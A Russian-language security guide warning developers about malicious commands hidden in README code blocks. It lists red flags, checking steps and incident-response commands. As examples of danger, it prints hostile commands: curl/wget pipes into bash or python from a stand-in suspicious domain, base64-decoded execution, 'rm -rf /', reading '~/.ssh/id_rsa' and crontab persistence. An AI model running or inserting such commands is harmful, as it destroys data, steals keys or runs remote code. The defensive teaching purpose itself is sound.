Вы нашли интересный проект, открываете README.md, а там блок команд в виде кода. Выглядит обычно — но что если кто-то намеренно вставил туда вредоносный код? Проблема в том, что Markdown не делает различий между безопасным примером и опасной командой: и то, и другое отображается в виде красивого блока с подсветкой. Если вы скопируете и выполните это у себя в терминале, может произойти что угодно — от установки майнера до шифрования ваших файлов.
Разберёмся, как отличить настоящий пример использования проекта от замаскированной атаки, и что делать, когда что-то вызывает подозрения.
- Почему README.md стала вектором атак
- Типичные признаки опасного блока кода
- Красные флаги в командах
- Как проверить перед выполнением
- Отличие от безопасного однострочника
- Что делать если вы уже запустили подозрительную команду
- Частые ошибки, которых легко избежать
- Если вы просто изучаете чужой код
- Если вы публикуете свой проект
- Подозрительные конструкции, которые легко заметить
- Итог
Почему README.md стала вектором атак
README — первое файл, который открывает разработчик. Это точка входа, которой доверяют. Злоумышленники используют именно это доверие:
- REпозиторий выглядит легитимным, количество звёзд и форков создаёт ощущение надёжности
- В README принято писать команды «для быстрого старта» — их привычно копируют и запускают
- Одна команда в терминале может выполнить bash-скрипт с удалённого сервера, и мало кто сначала читает содержимое скрипта
- GitHub не проверяет содержимое файлов README на вредоносность — это просто текст
Типичные признаки опасного блока кода
Не каждая короткая команда — угроза. npm install или pip install -r requirements.txt — это нормально. Но есть паттерны, которые должны насторожить.
Красные флаги в командах
Вот конкретные конструкции, которые в README выглядят подозрительно:
| Что видите | Почему это подозрительно |
|---|---|
curl http://... | bash или wget -O - http://... | sh |
Скачивает скрипт и сразу выполняет его от имени текущего пользователя. Даже если адрес выглядит знакомым — он может вести на фишинговый домен |
curl ... | sudo bash |
То же самое, но с правами администратора — максимальный ущерб |
eval "$(curl ...)" |
Скрывает реальную команду, которая выполнится после загрузки. Трудно понять, что именно произойдёт, не открыв URL в браузере |
base64 -d <<< "..." | bash |
Обфускация содержимого. Нормальные проекты так не делают |
| Необычно длинная однострочная команда без комментариев в README | Может содержать закодированную полезную нагрузку, растянутую на одной строке |
| Ссылки на подозрительные домены (не официальные, не домены проекта) | curl http://random-domain-12345.xyz/install.sh — явный признак |
Как проверить перед выполнением
Порядок действий, который займёт пару минут и уберёт от проблем:
-
Скопируйте команду, но не запускайте. Вставьте в текстовый редактор или заметку.
-
Разберите команду по частям. Что именно она делает? Используйте
man curl,explainshell.comили 等同于 -
Если есть ссылка — проверьте куда ведёт. Откройте URL через браузер, посмотрите, что за скрипт. Новый домен без контента — красный флаг.
-
Поищите команду в поиске. Часто один и тот же вредоносный однострочник кочует по репозиториям. Достаточно скопировать часть команды в Google.
-
Запускайте в безопасной среде. Виртуальная машина или контейнер — минимальный уровень изоляции.
Отличие от безопасного однострочника
Нормальный установочный скрипт часто начинается с логики проверки: аргументы, переменные, проверка зависимостей, создание файлов. Вредоносный — сразу скачивает и запускает бинарный файл, прописывает автозагрузку, отключает уведомления, читает файлы конфигурации (.env, .ssh/*, .*rc), отправляет данные наружу.
Что делать если вы уже запустили подозрительную команду
- Немедленно разорвите соединение — если процесс ещё выполняется, нажмите Ctrl+C
- Проверьте запущенные процессы:
ps aux,top - Посмотрите новые файлы в домашней директории:
ls -la ~/, ищите неизвестные скрипты - Проверьте автозагрузку:
crontab -l, файлы/etc/cron.* - Проверьте сетевые соединения:
netstat -tulpn
Частые ошибки, которых легко избежать
- Запуск команд с sudo без понимания что они делают. Если проект запрашивает root-доступ на этапе установки — это исключение, а не правило
- Слепое доверие звёздам и форкам. Их можно накрутить, а форк принадлежать злоумышленнику
- Игнорирование предупреждений браузера или Git. Даже если вы быстро закрыли вкладку, предупреждение могло быть не случайным
- Копирование команд из README без чтения остального файла. Автор мог указать выше примечание о том, что скрипт устарел или небезопасен
Если вы просто изучаете чужой код
Не нужно запускать примеры из README в лоб. Достаточно:
- прочитать блок кода визуально
- использовать утилиты вроде
shellcheckдля bash-скриптов - запускать команды в режиме «только чтение» с флагом
--dry-runгде возможно - проверять скопированный код через безопасные онлайн-песочницы
Если вы публикуете свой проект
- Используйте прямые команды вместо загрузки скриптов:
pip install ...вместоcurl ... | bash - Призывайте пользователей проверять скрипты перед выполнением
- Делайте установку многошаговой — чтобы человек видел, что скачивается
Подозрительные конструкции, которые легко заметить
Вот конкретные шаблоны, которые сразу бросаются в глаза:
rm -rf /— мгновенное удаление всей файловой системыchmod -R 777 /— открытие всех файлов на записьcat ~/.ssh/id_rsa— чтение приватного SSH-ключаecho "* * * * * malicious_command" >> /etc/crontab— прописывание себя в автозагрузкуwget -q -O - http://suspicious-domain.tld/payload | python— загрузка и выполнение Python-кода
Итог
Не доверяйте красивым блокам кода в README слепо. Любую команду, особенно содержащую | bash, | sh, eval, wget, curl и подозрительные ссылки, можно и нужно проверить за 2 минуты. Если после разбора команды остаётся хотя бы одна непонятная конструкция — не запускайте её. Главный индикатор: проект стым исходным кодом никогда не требует от вас запуска неясного однострочника с правами root.